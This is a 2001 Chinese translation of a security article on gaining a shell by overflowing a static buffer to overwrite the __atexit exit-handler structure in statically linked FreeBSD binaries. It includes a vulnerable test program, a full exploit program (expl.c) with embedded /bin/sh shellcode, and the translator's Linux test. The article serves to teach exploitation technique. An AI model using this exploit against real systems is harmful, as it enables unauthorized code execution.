通过覆盖__atexit进行缓冲区溢出攻击
/ns/hk/hacker/data/20010825041344.htm
原作者: Pascal Bouchareine <pb@hert.org>
原文： <<__atexit in memory bugs -
specific proof of concept with statically linked binaries and heap overflows>>
翻译整理：alert7 <alert7@21cn.com>
主页： http://www.xfocus.org /
时间： 2001-7-19
译者注：这片文章可能很早就出来了，我看国内也没有人介绍，干脆就
翻译出来一块儿共享吧，如有什么错误的地方，欢迎指正。
mailto:alert7@21cn.com
介绍：
本文讨论了类似通过覆盖.dtors进行缓冲区溢出攻击的技术。归根结底
是想方设法改变程序的执行流程，使之最终执行我们想要执行的代码。本文
假设读者熟悉普通的缓冲区溢出技术。
鸣谢：
感谢Andrew R. Reiter看了这片文档，纠正一些错误。
内容：
I. atexit()的基本知识
II. atexit()的执行
III. Exploitation的概念
IV. Eggshell的定位
V. 一个exploit的例子
I. atexit()基本知识
先让我们看看手册：
NAME
atexit - 注册一个在exit时候被调用的函数
SYNOPSIS
#include <stdlib.h>
int
atexit(void (*function)(void))
DESCRIPTION
atexit()函数注册一个给定的函数，该函数在程序exit时候被调用
（不管是通过exit(3)或者还是通过从程序的main函数中返回）。
注册的函数是反序被调用的；没有参数。至少32个函数总是可以被注册
的，只要有充分的分配的内存，更多的函数也是允许的。
看看下面程序的基本指令：
char *glob;
void test(void)
{
printf("%s", glob);
}
void main(void)
{
atexit(test);
glob = "Exiting.\n";
}
当执行时，应该在标准输出上显示"Exiting" .
II. atexit()的执行
atexit是做为libc函数导出的。
执行过程使用了一个静态的atexit结构，该结构包含了那些在退出时候被
调用的函数的一个数组，在调用atexit函数的时候会插入一个结构（我们
将称它为"fns"），在fns中有一个变量保存着下一个空的索引（我们称
它为"ind")，当fns满的时候，一个指针（我们称为next）指向了下一个
被使用的atexit结构.
struct atexit {
struct atexit *next; /* next in list */
int ind; /* next index in this table */
void (*fns[ATEXIT_SIZE])(); /* the table itself */
};
当atexit()被调用时，它填充fns[ind]，增加ind，这时ind就是下一个在fns中空的索引。
当fns满的时候，一个新的atexit的结构被分配，并且它的next变量指向了最后
被使用的那个。
注意：一般atexit的使用的是不需要next的，它在初始化的时候被设置为
NULL。
当exit()被调用，它分析最后定义的atexit结构，并且执行在fns[ind]中的
函数，减少ind，依次执行。
当exit()被调用的时候，需要查看一些退出函数，然而，atexit()需要写它，
atexit结构被分配是做为一个全局符号的，(在*bds上是__atexit, 在linux上
是__exit_funcs), 并且导出给其他函数的。
译者注：如果你第一次读这片文章，你可能会忽视了atexit()和__atexit
(在*bds上是__atexit, 在linux上是__exit_funcs)的关系。
__atexit就是被atexit函数使用的一个内部变量，下面有个图指
示了atexit()如何利用__atexit的。
III. Exploitation的概念
这部分不是很准确。需要依靠执行时候的内存映象，依靠你的OS，还受许多
其他的因数的影响。
我们首先要知道__atexit在内存中的分配地址，判断那里是可以重写的地址。所以我
写了个简单的例子。
extern void * __atexit;
int main(void)
{
static char scbuf[128];
char *mabuf;
mabuf = (char *) malloc(128);
printf("__atexit at %p\n", __atexit);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
return 0;
}
编译一下，有以下的结果：
pb@nod [405]$ gcc -o at at.c
pb@nod [406]$ ./at
__atexit at 0x280e46a0
malloced at 0x804b000
static at 0x8049660
pb@nod [407]$ gcc -o at -static at.c
pb@nod [408]$ ./at
__atexit at 0x8052ea0
malloced at 0x8055000
static at 0x8052e20
以上已经足够说明问题了.可许你已经知道，动态编译的版本是通过一个
mmap()调用来装载libc库函数的。 (0x280e46a0)现在看起来是我们不能修改
的, 但是静态版本是可以的。
在静态编译的二进制中，libc被保存在程序的heap区，因此，__atexit的位置
在我们的静态scbuf附近。在这个例子中，__atexit和scbuf相差0x80个字节。
它意味着他们是位置连续的。如果你了解heap溢出，构造它应该不是件很难的
事情。
在静态的字符缓冲区后面构造自己的atexit结构，覆盖__atexit变量，可以使
exit()执行在内存中的任何地方。比如执行我们的eggshell。为了构造它，我
们需要明白atexit()是如何利用__atexit变量的，看下面类似gdb的输出：
0 127 128 132 136 140
(an eggshell with nops) (next) (ind) (fns[0]) (fns[1])
0x90909090 ..... 0x00000000 0x00000001 0xbffff870 0x00000000
for (p = __atexit; p; p = p->next)
for (n = p->ind; --n >= 0;)
(*p->fns[n])();
第一种方法你可以使'ind'为正值，比如上面图使ind为1，fns[0]为
eggshell的地址，但是这样构造出来的atexit结构中包含了'\0'。我
们没有办法使用。
第二种方法是使p->next指向一块我们精心构造的atexit结构的内存。
我们仅仅需要使ind为负的，可以不管fns的数组。
但是，我们到底如何找到那块空间呢？
IV. Eggshell的定位
我要为这件事干一两杯啤酒。
读了execue的手册和内核execve的执行过程,使我想起了我写的第一个
c语言程序。我们知道，argc是参数的个数，argv是以null结尾的数组
（包含了以null结尾的字符串），envp是环境变量。一个正在执行的程序
要得到这些信息是容易的。
因此，在stack的顶部，一个 "vector table" 包含了这些信息当然还包括一些
其他的（例如信号掩码）。让我们看看在stack上的argv的存放：
0xbfbffb60: 0x00000000 0x00000005 0xbfbffc5c 0xbfbffc84
0xbfbffb70: 0xbfbffc8a 0xbfbffc8f 0xbfbffc92 0x00000000
在该例子中，argc是5。有5个指针指向5个argv元素。最后一个是以NULL结尾的。
上面看到的，使你想起那个atexit结构了吗？:)
该图完美的描绘了atexit的结构！ind=5，argv[4]是被调用函数的地址。所有
的工作准备就绪，但是还差点。我们只要猜测在stack上的 vector table的
正确地址就可以了，在__atexit->next填上该地址，在__atexit->ind填上负的，
这样一切都OK了。
猜测argv[]的地址需要依靠你的OS。我看了一下/sys/kern/kern_exec.c，
读了一下这个函数：
/*
* Copy strings out to the new process address space, constructing
* new arg and env vector tables. Return a pointer to the base
* so that it can be used as the initial stack pointer.
*/
register_t *
exec_copyout_strings(imgp)
这个函数解释了如何计算argv的vector table地址，你的计算基于地址PS_STRING
（stack的基地址，less结构的ps_string大小），信号掩码的大小，"SPARE_USERSPACE"
这个变量在我的freebsd上被定义256(可能这个变量被setproctitle()函数使用)，和一些
其他复杂的东西。
为了使用可移植的计算方法，我使用了下面自我调用的方法来执行argv[]。
首先，如果你要利用有问题的程序的话，你需要把条件都准备好。但是不能以
特殊的参数调用自己。在第二次调用时，argv应该正确的被定位，然后再调
用有问题的程序。
有了这两个技术，我想你应该有了一个高效率的缓冲区溢出的方法，而不再需要
计算offset了。
译者注：这种两次execve技术很不错，两次execve出来的进程的argv的地址是
一样的。所以就不需要猜测argv的地址了
注意：对于format bug来说，这个技术听起来很强大。__atexit在exploit中
经常位于victim的相同地址。我猜想这是因为mmap()分配地址是从固定的地址开始的。
正如一个传统的format bug，你有如下一个字符串"AAAA%N$x%0Xx%n",这里AAAA是
在你exploit中的__atexit的地址，N 是你想从重写地址到stack的字节个数。X是argv[]
的猜测地址。
[post note:事实上这些已经是众所周知的了，在phrack的杂志中有提到]
同理，对缓冲区溢出的exploit来说，你有一个容易得到的固定的返回地址：调用自己
--egg应该在安放在环境变量里-，然后调用victim egg的地址。
V. 一个Exploit的例子
Take the following vulnerable program :
extern void * __atexit;
int main(int argc, char **argv)
{
static char scbuf[128];
char *mabuf;
mabuf = (char *) malloc(128);
printf("__atexit at %p\n", __atexit);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
if (argc > 1)
strcpy(scbuf, argv[1]);
}
scbuf[]的大小为128.我们需要craft下面的字符串：
offset 0 128 132 136
[XXXXXXXXXXXX..........][AAAA][BBBB][0...]
128个字节的X垃圾，AAAA是猜测的argv地址，BBBB是一个负的数字
(0xffffffff就可以了),然后最后的字节都被填为0。
我们必须把eggshell作为最后一个参数传递给有问题的程序。
假如程序有严格的检查，我们讨论的东西工作起来就会很困难。我们在这里先不
讨论这个，以后有兴趣将做进一步的研究。
利用有问题程序，下面的exploit将产生一个shell：
--- expl.c -----------------8< (lazy indenting this. :) -------------
#include <stdio.h>
#define PROG "./vul"
#define HEAP_LEN 128
int main(int argc, char **argv)
{
char **env;
char **arg;
char heap_buf[150];
char eggshell[]= /* Mudge's */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a\xe8\xc6\xff\xff\xff/bin/sh";
/* Craft the first part of the chain, pointing to argv[].
** We need, of course, a negative value for ind, or the real
** atexit default will be called.
*/
memset(heap_buf, 'A', HEAP_LEN);
*((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 * sizeof(int));
/*为了构造atexit结构*/
*((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff;
*((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;
/*
** Build environnement. Argv[argc-1] is set to whatever
** eggshell you want. This, in a struct atexit context,
** will be executed by exit.
*/
env = (char **) malloc(sizeof(char *));
env[0] = 0;
arg = (char **) malloc(sizeof(char *) * 4);
arg[0] = (char *) malloc(strlen(PROG) + 1);
arg[1] = (char *) malloc(strlen(heap_buf) + 1);
arg[2] = (char *) malloc(strlen(eggshell) + 1);
arg[3] = 0;
strcpy(arg[0], PROG);
strcpy(arg[1], heap_buf);
strcpy(arg[2], eggshell);
if (argc > 1) {
fprintf(stderr, "Using argv %x\n", argv);
execve("./vul", arg, env);
} else {
execve(argv[0], arg, env);
}
}
-------- expl.c (eof)------------------------------------------
作者文章到此就结束了，以上作者是在freebsd测试的。
下面是我在red hat 6.0上面做的测试：
[alert7@ww alert7]$ uname -a
Linux ww.alert7 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown
[alert7@ww alert7]$ cat vul.c
#include <stdlib.h>
extern void * __exit_funcs;
int main(int argc, char **argv)
{
static char scbuf[128];
char *mabuf;
mabuf = (char *) malloc(128);
printf("__exit_funcs at %p\n", __exit_funcs);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
printf("mabuf at %p\n", &mabuf);
if (argc > 1)
strcpy(scbuf, argv[1]);
}
[alert7@ww alert7]$ gcc -o vul vul.c -static -g
[alert7@ww alert7]$ ./vul
__exit_funcs at 0x80778c0
malloced at 0x8079b60
static at 0x8078e40
mabuf at 0xbffffdc0
[alert7@ww 3779]$ cat maps
08048000-08077000 r-xp 00000000 03:01 14361 /home/alert7/vul
08077000-08079000 rw-p 0002e000 03:01 14361 /home/alert7/vul
08079000-0807a000 rwxp 00000000 00:00 0
40000000-40002000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
在linux上，我们看到__exit_funcs地址是0x80778c0,可写。静态定义的scbuf的
地址为0x8078e40，__exit_funcs在scbuf之前，所以想利用scbuf来覆盖
__exit_funcs地址好象是不可能的吧。所以在linux上讨论利用__atexit进行
缓冲区溢出的攻击也是失去了意义。